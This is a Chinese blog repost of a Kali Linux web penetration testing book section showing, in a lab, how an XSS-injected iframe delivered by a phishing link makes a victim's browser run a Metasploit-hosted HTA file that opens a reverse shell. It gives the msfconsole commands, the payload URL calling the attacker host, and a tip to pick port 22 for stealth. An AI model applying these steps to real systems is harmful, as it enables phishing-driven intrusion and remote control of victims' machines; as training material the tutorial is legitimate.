前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

Kali Linux Web渗透测试手册(第二版) - 5.8 - 使用XSS和Metasploit获取远程shell

作者头像
Power7089
发布2019-07-25 12:59:45
4970
发布2019-07-25 12:59:45
举报

5.8、使用XSS和Metasploit获取远程shell

在前几章中,我们知道了攻击者可以使用XSS提取用户信息凭证,然而,它的威力可不止于此,只要稍加一些社会工程学,攻击者就可以使用XSS来欺骗用户下载执行恶意文件,从而进一步控制主机和内网。

在本章节中,我们将学的使用XSS在目标计算机上远程执行命令。

环境准备

1. vm_1漏洞系统BodgeIt;

2. Windows7虚拟机;

实战演练

我们要做是用XSS使客户端的Windows7的浏览器打开并执行托管在Kali Linux上的恶意HTA文件。

1. 打开Metasploit控制台:

msfconsole

2. 启动后,使用以下命令加载exploit模块和payload:

use exploit/windows/misc/hta_server set payload windows/shell/reverse_tcp

3. 设置server的监听端口为8880:

set srvport 8888

4. 设置本地监听端口为12345:

set lport 12345 show options

5.现在我们运行exploit等待客户端连接:

run

注意服务器启动时给出的信息,Local IP给出了访问HTA文件的方式。(就像是:k0Pjsl1tz2cI3Mm.hta)

6.现在切换到Windows虚拟机,打开IE浏览器

7.假设攻击者发送了一封包含链接的钓鱼电子邮件,

http://192.168.56.11/bodgeit/search.jsp?q=t<iframe src="http://192.168.56.10:8888/k0Pjsl1tz2cI3Mm.hta"></iframe>

给受害者,在IE中打开它

8.如果你的骗人的手段足够高,就可以使得用户接受不安全警告下载执行恶意文件:

9.当提示运行、保存或者取消时,选择运行HTA文件

10.现在切换回Kali,你就可以在控制台中看到Metasploit已经成功收到来自客户端的负载请求并且建立了Shell连接。

11.在我们这个例子中,Metasploit建立的会话在2上,我们可以使用Session命令查看详细信息

12.使用session -i 2命令,你就会跳入Windows命令窗口下。执行ipconfig命令来查看受害者的IP信息

原理剖析

HTA是可以不受网页浏览器安全模式的限制来执行程序,它是一种HTML应用程序。

我们刚才使用Metasploit生成恶意的HTA文件并开启本地服务来托管它,我们的恶意文件包含一个 反向shell,反向shell是一个程序,当受害者执行它时,它将连接到攻击者的服务器,而不是在受害者中打开一个端口来等待连接传入,这也就是为什么它被称为反向连接的原因。当连接完成时,一个远程shell就建立好了。

在上面的例子中,我们使用8888作为服务器的监听端口,12345作为漏洞反向连接的监听端口,然而在实际的应用场景中,我们应该使用较为低的端口,这样可以较为安全,SSH的22端口就是个不错的选择。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-12-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档